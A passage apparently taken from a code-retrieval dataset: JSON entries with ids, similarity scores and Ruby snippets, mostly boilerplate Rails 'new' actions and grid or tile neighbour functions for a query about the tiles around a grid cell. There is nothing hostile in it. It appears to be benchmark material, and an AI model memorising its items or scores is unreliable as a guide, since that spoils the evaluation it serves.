new.html.erb\n format.json { render json: @newse }\n end\n end", "title": "" }, { "docid": "d89d88dcb488b2acf0e3af27a9893512", "score": "0.665219", "text": "def new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: ''}\n end\n end", "title": "" }, { "docid": "b14e7636969d6a4e299d05eeca7b151a", "score": "0.66377", "text": "def new(options) \n Client.get(\"/lovers/new\", :query => options)\n end", "title": "" }, { "docid": "1b07f6a0cf440f12e6bafd89bc138e26", "score": "0.6635334", "text": "def new\n @gestor = Gestor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gestor }\n end\n end", "title": "" }, { "docid": "2139045ec4eab9fb4af270fd1b8137d1", "score": "0.6630927", "text": "def new\n @newspaper = Newspaper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspaper }\n end\n end", "title": "" }, { "docid": "5597baebea1763aaed0c1b688d372a61", "score": "0.66244304", "text": "def new\n @jersey = Jersey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jersey }\n end\n end", "title": "" }, { "docid": "175ddbacc4e84ceaeee0581bfa14b139", "score": "0.6618345", "text": "def new\n @gotel = Gotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gotel }\n end\n end", "title": "" }, { "docid": "5c22d61d9ad4fa40424d324dce301e51", "score": "0.6617323", "text": "def new\n @beet = Beet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beet }\n end\n end", "title": "" }, { "docid": "151ea8855fb2eb9423b6b2211ca299a9", "score": "0.66155845", "text": "def new\n @technology = Technology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @technology }\n end\n end", "title": "" }, { "docid": "151ea8855fb2eb9423b6b2211ca299a9", "score": "0.66155845", "text": "def new\n @technology = Technology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @technology }\n end\n end", "title": "" }, { "docid": "151ea8855fb2eb9423b6b2211ca299a9", "score": "0.66155845", "text": "def new\n @technology = Technology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @technology }\n end\n end", "title": "" }, { "docid": "bd95857c368fe952ebdb7282cf53c9ab", "score": "0.6607066", "text": "def new\n @environment = Environment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @environment }\n end\n end", "title": "" }, { "docid": "bd95857c368fe952ebdb7282cf53c9ab", "score": "0.6607066", "text": "def new\n @environment = Environment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @environment }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.660229", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "1e62e3d8cc860d54f506616a54c275f0", "score": "0.6599754", "text": "def new\n @environnement = Environnement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @environnement }\n end\n end", "title": "" }, { "docid": "d04c66a57e03f3cbdcfa0b57f1f6afe7", "score": "0.6595775", "text": "def new\n @site = Site.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "9eb6d57b2fadf5aa7e21803f2201ef14", "score": "0.65825605", "text": "def new\n @giver = Giver.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @giver }\n end\n end", "title": "" }, { "docid": "bdefcae1cec841161a2377f72e605801", "score": "0.6579021", "text": "def new\n @server = Server.new\n @creating_new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server }\n\n end\n end", "title": "" }, { "docid": "1732a85c72a90e1fd06013d51babf1f2", "score": "0.6577649", "text": "def new\n @postick = Postick.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @postick }\n end\n end", "title": "" }, { "docid": "31823a3812e4e610e5e81ba55f0d2493", "score": "0.65723866", "text": "def new\n @production = Production.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @production }\n end\n end", "title": "" }, { "docid": "31823a3812e4e610e5e81ba55f0d2493", "score": "0.65723866", "text": "def new\n @production = Production.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @production }\n end\n end", "title": "" }, { "docid": "c40a547d897befa63c9004e18e491733", "score": "0.6567373", "text": "def new\n @paper = Paper.new\n @paper.venues.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @paper }\n end\n end", "title": "" }, { "docid": "cb8e7193c9b9ccdedd2a27ff8333be16", "score": "0.65669036", "text": "def new\n @poet = Poet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poet }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.6560402", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.6560402", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.6560402", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.6560402", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "30ad92d18d627f87b8fe94238b8cbbdb", "score": "0.6559261", "text": "def new\n @egreso = Egreso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @egreso }\n end\n end", "title": "" }, { "docid": "9a65d24456bf206af61094fdc537fdb9", "score": "0.6557207", "text": "def new\n setupForNewPost\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "01b3c60451214036b98ed19ad6c29d70", "score": "0.6555548", "text": "def new\n @nvs_env = NvsEnv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nvs_env }\n end\n end", "title": "" }, { "docid": "f99a90842fe02d0c93f14c4746b40ffc", "score": "0.65540165", "text": "def new\r\n @jet = Jet.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @jet }\r\n end\r\n end", "title": "" }, { "docid": "4ad75a0cd05f6865632877c9ca233fcb", "score": "0.6553884", "text": "def new\n @thinker = Thinker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thinker }\n end\n end", "title": "" }, { "docid": "cad0853a531674892a7fbc322b5503f5", "score": "0.65492725", "text": "def new\n @estetica = Estetica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estetica }\n end\n end", "title": "" }, { "docid": "0768c03cf3fa4d0777e2c0c6195f5f21", "score": "0.65485984", "text": "def new\n @angel = Angel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @angel }\n end\n end", "title": "" }, { "docid": "cb5dc8b669c7d475ae00bc1811cedced", "score": "0.6539703", "text": "def new\n @revision = Revision.find(params[:revision_id])\n @search_engine = @revision.search_engines.new\n\n respond_to do |format|\n format.html\n end\n end", "title": "" }, { "docid": "2edaa98a78ff322f67677f6455e30fb3", "score": "0.6532792", "text": "def new\n @spec = Spec.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spec }\n end\n end", "title": "" }, { "docid": "de14ec66ff116d40d1c487ed5522a3a7", "score": "0.65325296", "text": "def new\n @major = Major.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end", "title": "" }, { "docid": "b382e2ba8896ea96b10da3af583e6857", "score": "0.652874", "text": "def new\n @page_version = PageVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_version }\n end\n end", "title": "" }, { "docid": "d995346344233cc7be085a8adde2f517", "score": "0.65228295", "text": "def new\n @evemt = Evemt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evemt }\n end\n end", "title": "" }, { "docid": "d9b5273fa01b88dd5eaeafbbf8fc3a9d", "score": "0.65197545", "text": "def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end", "title": "" }, { "docid": "c9102ab532ad59f7099a06e99176db2c", "score": "0.65196955", "text": "def new\n @epic = Epic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @epic }\n end\n end", "title": "" }, { "docid": "d165699f48be72249078b48a8f51fca1", "score": "0.6516213", "text": "def new\n @entity = Entity.new\n\n render json: @entity\n end", "title": "" }, { "docid": "ace12fc8ae8e20791cdc4b0002358cb8", "score": "0.65152884", "text": "def new\n @nivart = Nivart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nivart }\n end\n end", "title": "" }, { "docid": "bace52c0a76ec615ef0094a42a06f8e7", "score": "0.6513888", "text": "def new\n @hosting = Hosting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hosting }\n end\n end", "title": "" }, { "docid": "7aba5ec8f1e24eb450364c9c7471d682", "score": "0.6513877", "text": "def new\n @esc = Esc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @esc }\n end\n end", "title": "" }, { "docid": "5c5756b11dff9202161a9433bdb2a0ae", "score": "0.651187", "text": "def new\n @new_vm = NewVm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_vm }\n end\n end", "title": "" }, { "docid": "b457fcc465aec83c4f9180fd459c7a03", "score": "0.651181", "text": "def new\n @site = Site.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "c2e6f379c29ee40e4672bbdfb9e9bc68", "score": "0.6508411", "text": "def new\n @hosting = Hosting.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @hosting }\n end\n end", "title": "" }, { "docid": "716f145449f7eef6b7a84c32eb4bb8dc", "score": "0.6507681", "text": "def new\n @api_v1_post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_v1_post }\n end\n end", "title": "" }, { "docid": "6108ce71dfe9b5144ebbbac200ceee47", "score": "0.6506351", "text": "def new\n @host_type = HostType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host_type }\n end\n end", "title": "" }, { "docid": "c3e78b04706da851933565cd67a1bc0f", "score": "0.6506084", "text": "def new\n @angel = Angel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @angel }\n end\n end", "title": "" }, { "docid": "2b17fae0166d090de2ccbd8bf677fb0c", "score": "0.65058166", "text": "def new\n @entrevista = Entrevista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entrevista }\n end\n end", "title": "" }, { "docid": "1573539db3031f446889755318de0189", "score": "0.65045375", "text": "def new\n @egiving = Egiving.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @egiving }\n end\n end", "title": "" }, { "docid": "91e97e65623d5fe71f5c6df3feb4cca4", "score": "0.6504346", "text": "def new\n @variety = Variety.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @variety }\n end\n end", "title": "" }, { "docid": "4efdcc412e63f51f2520e54d3de8c98e", "score": "0.65038", "text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "75c3c3cb66606f14e45cf66d4dd1e6c0", "score": "0.6502157", "text": "def new\n @planet = Planet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planet }\n end\n end", "title": "" }, { "docid": "ebbc4b90a11e9f5696086646726457fb", "score": "0.65021396", "text": "def new\n @cloudpost = Cloudpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloudpost }\n end\n end", "title": "" }, { "docid": "9dab028e19ad100b715d5c321b11504a", "score": "0.6501292", "text": "def new\n @earth = Earth.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @earth }\n end\n end", "title": "" }, { "docid": "f199c584bddb0b09fa7fecbe9d6ae14a", "score": "0.6500214", "text": "def new\n @tech = Tech.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tech }\n end\n end", "title": "" }, { "docid": "152ecaeb904093e96f88a8e9364e6c20", "score": "0.649948", "text": "def new\n @provider = Provider.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "b7ee736c99988d10c4423a1ee9a3896f", "score": "0.6497531", "text": "def new\n @nova = Nova.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nova }\n end\n end", "title": "" }, { "docid": "e5aa41b5bed2d4a16abbea59d8cecf39", "score": "0.6496765", "text": "def new\n @engine_model = EngineModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @engine_model }\n end\n end", "title": "" }, { "docid": "1fe7a0eb754b891d211533173d6ae2a7", "score": "0.64957446", "text": "def new\n\t\n\t\t\n\t\trender json: {}\n\tend", "title": "" }, { "docid": "4669dd13132feb93338a2fcd28ed742a", "score": "0.64949876", "text": "def new\r\n @technology = Technology.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render :json => @technology }\r\n end\r\n end", "title": "" }, { "docid": "77d762bf604be086f4d0b8e7aab7ae16", "score": "0.6494577", "text": "def new\n @vereador = Vereador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vereador }\n end\n end", "title": "" } ]
9b67ba1f411518ba0b3e0b5d1a10087d
up to 8 integers representing the up to 8 tiles around a grid location.
[ { "docid": "258fcb4e9c39616c55909b8dde6461af", "score": "0.0", "text": "def all_surrounding_spaces(spot)\n to_check = []\n to_check << spot - 1 if (spot % @columns_size != 0)\n to_check << (spot - @columns_size - 1) if (spot % @columns_size != 0)\n to_check << (spot + @columns_size - 1) if (spot % @columns_size != 0)\n\n to_check << spot + 1 if (spot % @columns_size != 6)\n to_check << (spot - @columns_size + 1) if (spot % @columns_size != 6)\n to_check << (spot + @columns_size + 1) if (spot % @columns_size != 6)\n\n to_check << spot + @columns_size\n to_check << spot - @columns_size\n\n to_check.select{ |numero| numero >= 0 && numero < @upper_bound}\n end", "title": "" } ]
[ { "docid": "fcf1f5b05f5ed43f4230f932f8b05b88", "score": "0.6829333", "text": "def get_surrounding_tiles(row, column, cell)\n surrounding_tiles = []\n index = GAME_BOARD[column-1].index(cell)\n if column == 1 \n if index == 0\n surrounding_tiles << GAME_BOARD[column-1][index+1]\n surrounding_tiles << GAME_BOARD[column][index]\n elsif index == 8\n surrounding_tiles << GAME_BOARD[column-1][index-1]\n surrounding_tiles << GAME_BOARD[column][index]\n else\n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column][index]\n end\n elsif column == 12\n if index == 0\n surrounding_tiles << GAME_BOARD[column-1][index+1]\n surrounding_tiles << GAME_BOARD[column-2][index] \n elsif index == 8\n surrounding_tiles << GAME_BOARD[column-1][index-1]\n surrounding_tiles << GAME_BOARD[column-2][index] \n else\n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column-2][index]\n end\n elsif index == 0\n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column][index]\n surrounding_tiles << GAME_BOARD[column-2][index]\n elsif index == 8\n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column][index]\n surrounding_tiles << GAME_BOARD[column-2][index]\n else\n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column][index]\n surrounding_tiles << GAME_BOARD[column-2][index]\n end\n\n surrounding_tiles\n end", "title": "" }, { "docid": "c79579fa1ae7a9e6df108ccb2a154fde", "score": "0.6572372", "text": "def tile_number_generator(board)\n count_hash = {\n 0 => 0,\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 1\n }\n \n y_pos = 1\n self.height.times do\n x_pos = 0\n \n column1 = count_hash[board[y_pos-1][x_pos-1]] + count_hash[board[y_pos][x_pos-1]] + count_hash[board[y_pos+1][x_pos-1]]\n column2 = count_hash[board[y_pos-1][x_pos]] + count_hash[board[y_pos][x_pos]] + count_hash[board[y_pos+1][x_pos]]\n column3 = count_hash[board[y_pos-1][x_pos+1]] + count_hash[board[y_pos][x_pos+1]] + count_hash[board[y_pos+1][x_pos+1]]\n \n self.width.times do\n x_pos += 1\n \n column1 = column2\n column2 = column3\n column3 = count_hash[board[y_pos-1][x_pos+1]] + count_hash[board[y_pos][x_pos+1]] + count_hash[board[y_pos+1][x_pos+1]]\n if board[y_pos][x_pos] != 9\n board[y_pos][x_pos] = column1 + column2 + column3\n end\n end\n y_pos += 1\n end\n \n return board\n end", "title": "" }, { "docid": "26a2e4d4b92267c150ff8a4155182e2b", "score": "0.6515904", "text": "def tile_offset index\n\t\t\t@unit_size * index\n\t\tend", "title": "" }, { "docid": "1d6050d7d48574918dd74a7518897349", "score": "0.64414704", "text": "def available_moves\n adjacent_tiles(*@hole)\n end", "title": "" }, { "docid": "59cdb78d46b241ef77eeb5133600ede9", "score": "0.64067215", "text": "def calculateAdjacent\r\n #Loops through every tile in the grid.\r\n (0..@rows-1).each do |row|\r\n (0..@columns-1).each do |col|\r\n count = getTier(col+1, row+1) + getTier(col+1, row) + getTier(col+1, row-1)\r\n count += getTier(col, row+1) + getTier(col, row-1) + getTier(col-1, row+1)\r\n count += getTier(col-1, row) + getTier(col-1, row-1)\r\n @tile[col][row].adjacent = count #Totals the tier number in the adjacent tiles.\r\n end\r\n end\r\nend", "title": "" }, { "docid": "7b898da407966c409994b69d1343635a", "score": "0.6387967", "text": "def build_grid size\n self.tiles.clear\n size.to_i.times do |row|\n size.to_i.times do |column|\n self.tiles.build({\n x: column,\n y: row\n })\n end\n end\n end", "title": "" }, { "docid": "9b08a63646b26deb2c6283a10bf8d4f1", "score": "0.63432145", "text": "def tile_size level\n\t\t\t2 ** level\n\t\tend", "title": "" }, { "docid": "cd8f862920625348581474d8f197e4f5", "score": "0.6307767", "text": "def neighbours(cell_number)\n neighbours = []\n \n #left, right\n neighbours << cell_number - 1 unless (cell_number % 8) == 0\n neighbours << cell_number + 1 unless (cell_number % 8) == 7\n #up, down\n neighbours << cell_number - 8 unless cell_number < 8\n neighbours << cell_number + 8 unless cell_number > 55\n #up-left, up-right\n neighbours << cell_number - 9 unless (cell_number % 8) == 0 or cell_number < 8\n neighbours << cell_number - 7 unless (cell_number % 8) == 7 or cell_number < 8\n #down-left, down-right\n neighbours << cell_number + 7 unless (cell_number % 8) == 0 or cell_number > 55\n neighbours << cell_number + 9 unless (cell_number % 8) == 7 or cell_number > 55 \n\n neighbours \nend", "title": "" }, { "docid": "5b3da1cd47440c211a0a2f903ea65890", "score": "0.6296322", "text": "def occupy_grid(from_x, from_y, the_direction, the_distance, wire_index, the_base_steps, in_grid_hash)\n if the_direction.upcase == \"U\"\n the_step_x, the_step_y = 0, 1\n elsif the_direction.upcase == \"D\"\n the_step_x, the_step_y = 0, -1\n elsif the_direction.upcase == \"L\"\n the_step_x, the_step_y = -1, 0\n elsif the_direction.upcase == \"R\"\n the_step_x, the_step_y = 1, 0\n end\n the_walk_x, the_walk_y = from_x, from_y\n\n 0.upto(the_distance - 1) do |the_step_num|\n the_key = \"#{the_walk_x}_#{the_walk_y}\"\n in_grid_hash[the_key] ||= [-1,-1]\n\n in_grid_hash[the_key][wire_index] = the_base_steps + the_step_num if in_grid_hash[the_key][wire_index] < 1\n\n the_walk_y += the_step_y\n the_walk_x += the_step_x\n end\n return the_walk_x, the_walk_y\nend", "title": "" }, { "docid": "7cb70359cb8f2d03bdcabaca63620964", "score": "0.6256997", "text": "def next_tile_img\n next_tile_img = @current_tile_indx + 1\n case @current_move\n when Direction::Up\n next_tile_img = 9 if next_tile_img > 11\n when Direction::Down\n next_tile_img = 0 if next_tile_img > 2\n when Direction::Left\n next_tile_img = 3 if next_tile_img > 5\n when Direction::Right\n next_tile_img = 6 if next_tile_img > 8\n end\n @current_tile_indx = next_tile_img\n end", "title": "" }, { "docid": "557375861e8a21edf09994ccd8d79328", "score": "0.6247612", "text": "def tile_board\n @board_array.each_with_index do |row_array, row|\n 10.times{|column| row_array << Tile.new(row,column)}\n end\n end", "title": "" }, { "docid": "a6ba3e921bdf507e65b963248ab3d126", "score": "0.6229747", "text": "def cal_pos\n x, y = map_location(@grid_x, @grid_y)\n x += @tile_size/2\n y += @tile_size/2\n [x,y]\n end", "title": "" }, { "docid": "6d6c9a80be21a65fe27285c34f7c72ed", "score": "0.621633", "text": "def rows\n 3.times.map{|n| board_state[n * 3, 3]}\n end", "title": "" }, { "docid": "5dc8a7ebdaa1d3790e48b112fdea4d2a", "score": "0.6204781", "text": "def surrounding_tiles(x, y)\n diffs = [\n [-1, -1], [0, -1], [1, -1],\n [-1, 0], [0, 0], [1, 0],\n [-1, 1], [0, 1], [1, 1],\n ]\n\n diffs.map { |dx, dy| tiles_at(x + dx, y + dy) }.flatten\n end", "title": "" }, { "docid": "58ea0ed36714bfa7739556f5567d8c9b", "score": "0.61856526", "text": "def number_cells\n n = 1\n for row in 0...height\n for col in 0...width\n cell = self[row, col]\n west, north, east, south = DIRS.map{|dx, dy| self[row + dx, col + dy] and self[row + dx, col + dy].empty }\n if cell.empty and ((!west and east) or (!north and south))\n cell.number = n\n n += 1\n end\n end\n end\n end", "title": "" }, { "docid": "a0f04abd166a874ebfd9db3d403d9b0c", "score": "0.6169578", "text": "def visible_tiles\n frame_x = (((@width - Config::TileWidth) / Config::TileWidth) ).to_i\n frame_y = (((@height - Config::TileHeight) / Config::TileHeight) ).to_i\n \n \n start_x = player.location.x - (frame_x / 2).to_i\n start_y = player.location.y - (frame_y / 2).to_i\n \n if start_x < 0\n start_x = 0\n end\n if start_y < 0\n start_y = 0\n end\n \n tiles = Array.new\n \n frame_x.times do |i|\n frame_y.times do |j|\n if (start_x + i < game.map.width ) && (start_y + j < game.map.height )\n # puts(\"start_x is #{start_x} and start_y is #{start_y} and i is #{i} and j is #{j}\")\n tiles << game.map.locations[start_x + i, start_y + j]\n end\n end\n end\n \n tiles\n \n end", "title": "" }, { "docid": "285780986a38fd20add34600fe4a9be6", "score": "0.61393154", "text": "def width\n TILE_WIDTH\n end", "title": "" }, { "docid": "267e1ed4628d8b7d51407e20db091c99", "score": "0.61384696", "text": "def cells_grid_1by1\n [\n [\n MazeMagic::Maze::Edge.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::Edge.instance\n ],\n [\n MazeMagic::Maze::VerticalWall.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::VerticalWall.instance\n ]\n ]\n end", "title": "" }, { "docid": "d02adefb69345ee7c1a8f7109b9e6bfa", "score": "0.6134598", "text": "def grid\n rows = []\n (1..self.height).to_a.each do |h|\n rows << row(h)\n end\n rows.reverse\n end", "title": "" }, { "docid": "bcb0f73a1df66468416fc210c0b4aba2", "score": "0.61227894", "text": "def adjacent_tiles(row, col)\n adj_tiles = []\n\n if row.positive?\n adj_tiles << tile_at(row - 1, col)\n adj_tiles << tile_at(row - 1, col - 1) unless col.zero?\n adj_tiles << tile_at(row - 1, col + 1) unless col == @size - 1\n end\n\n adj_tiles << tile_at(row, col - 1) unless col.zero?\n adj_tiles << tile_at(row, col + 1) unless col == @size - 1\n\n if row < @size - 1\n adj_tiles << tile_at(row + 1, col - 1) unless col.zero?\n adj_tiles << tile_at(row + 1, col)\n adj_tiles << tile_at(row + 1, col + 1) unless col == @size - 1\n end\n\n adj_tiles\n end", "title": "" }, { "docid": "c3875a4a5446f51bcf9ae74874b114b7", "score": "0.61227816", "text": "def eight_queens_possibilities(current_row, taken_columns, positions)\n\nend", "title": "" }, { "docid": "30fc3cd19ecdb0378f197b2097c398bd", "score": "0.6115938", "text": "def new_coords(x,y)\n [x % GRID_WIDTH, y % GRID_HEIGHT]\n end", "title": "" }, { "docid": "6499c7aa18f224411aaa31fe2b0c1773", "score": "0.61108893", "text": "def row_to_px row_number\n\n # Row 0 starts 5 units below the top of the grid.\n # Each row afterward is 20 units lower.\n grid.top.shift_down(5).shift_down(20 * row_number)\n end", "title": "" }, { "docid": "257474a3c43fe58605a8ef5154ec6a77", "score": "0.6105418", "text": "def surround_nums(row, col)\n # North\n @grid[row-1][col] += 1 if ((row - 1) > -1) && @grid[row-1][col] != :B \n # NE\n @grid[row - 1][col + 1] += 1 if ((row - 1) > -1) && ((col+1) < 9) && @grid[row - 1][col + 1] != :B \n # East\n @grid[row][col+1] += 1 if ((col+1) < 9) && @grid[row][col+1] != :B \n # SE\n @grid[row+1][col+1] += 1 if ((row + 1) < 9) && ((col+1) < 9) && @grid[row+1][col+1] != :B \n # South\n @grid[row + 1][col] += 1 if ((row + 1) < 9) && @grid[row + 1][col] != :B \n # SW\n @grid[row + 1][col - 1] += 1 if ((row + 1) < 9) && ((col-1) > -1) && @grid[row + 1][col - 1] != :B \n # West\n @grid[row][col - 1] += 1 if ((col - 1) > -1) && @grid[row][col - 1] != :B \n # NW\n @grid[row - 1][col - 1] += 1 if ((row - 1) > -1) && ((col - 1 ) > -1) && @grid[row - 1][col - 1] != :B\n end", "title": "" }, { "docid": "e038327f163aead710782e6442a18951", "score": "0.6092464", "text": "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "title": "" }, { "docid": "e038327f163aead710782e6442a18951", "score": "0.6092464", "text": "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "title": "" }, { "docid": "f4f01a6a380e877485be454956177222", "score": "0.6091948", "text": "def tile_bounds\n tile = tile_number\n zoom = zoom_level\n sw = ::GeoMonitor::LatLngPoint.from_number(tile[:x], tile[:y], zoom).to_3857\n ne = ::GeoMonitor::LatLngPoint.from_number(tile[:x] + 1, tile[:y] - 1, zoom).to_3857\n self.class.new(\n north: ne.lat,\n east: ne.lng,\n south: sw.lat,\n west: sw.lng\n )\n end", "title": "" }, { "docid": "c334425bc77f376305653a8be2de10dc", "score": "0.60817784", "text": "def set_cell_coordinates\n x = 0\n while x < 6\n y = 0\n while y < 7\n grid[x][y].co_ord = [x + 1, y + 1]\n y += 1\n end\n x += 1\n end\n end", "title": "" }, { "docid": "0dab23e9ae41b3bd66bbc36aa541e04d", "score": "0.6071133", "text": "def lattice_paths(grid_size)\n grid_dimension = grid_size + 1\n grid = Array.new(grid_dimension * grid_dimension) { 1 }\n (grid_size - 1).downto(0) do |x|\n (grid_size - 1).downto(0) do |y|\n pos = (y * grid_dimension) + x\n grid[pos] = grid[pos + 1] + grid[pos + grid_dimension]\n end\n end\n grid[0]\nend", "title": "" }, { "docid": "dff97f068fef0c10ea99801e5865bfd3", "score": "0.60606563", "text": "def open_up(row,col)\n return if @grid[row][col] == nil\n return if @known_empty.include? (row.to_s + col.to_s)\n numera = [1,2,3,4,5,6,7,8,9]\n if numera.include? @grid[row][col]\n @known_empty << (row.to_s + col.to_s)\n return \n end\n \n @known_empty << (row.to_s + col.to_s)\n # North\n open_up(row-1,col) if row-1 > -1\n # NE\n open_up(row - 1,col + 1) if (row > -1) && (col + 1 < 9) \n # East\n open_up(row,col+1) if (col+1 < 9)\n # SE\n open_up(row+1,col+1) if (row+1 < 9) && (col + 1 < 9) \n # South\n open_up(row + 1,col) if row + 1 < 9 \n # SW\n open_up(row + 1,col - 1) if (row + 1 < 9) && (col - 1 > -1)\n # West\n open_up(row,col - 